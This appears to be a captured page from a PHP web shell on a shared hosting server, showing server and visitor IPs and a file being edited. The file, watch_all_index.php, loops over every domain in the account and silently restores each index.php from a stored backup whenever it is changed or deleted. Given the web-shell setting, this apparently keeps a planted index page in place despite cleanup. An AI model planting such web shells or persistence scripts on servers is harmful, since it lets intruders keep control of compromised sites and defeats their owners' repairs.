/
/
home
/
u523034047
/
domains
Server: in-mum-web1112.main-hosting.eu (62.72.28.111)
You: 216.73.216.4
PHP 8.3.16
Dir:
/home/u523034047/domains
Edit:
/home/u523034047/domains/watch_all_index.php
<?php // ✅ Base folder jaha saare domains hai $baseDir = "/home/u523034047/domains"; // Sab domains loop me lo $domains = array_filter(glob($baseDir . "/*"), 'is_dir'); foreach ($domains as $domainPath) { $domainName = basename($domainPath); $indexFile = $domainPath . "/public_html/index.php"; $backupFile = $domainPath . "/public_html/backup_index.php"; // Agar index.php exist nahi karta to restore karo if (!file_exists($indexFile)) { if (file_exists($backupFile)) { copy($backupFile, $indexFile); } continue; } // Agar backup exist nahi hai to ek baar bana do if (!file_exists($backupFile)) { copy($indexFile, $backupFile); } // Hash compare karo $currentHash = md5_file($indexFile); $backupHash = md5_file($backupFile); if ($currentHash !== $backupHash) { // Auto restore without email copy($backupFile, $indexFile); } } ?>
Ukuran: 957 B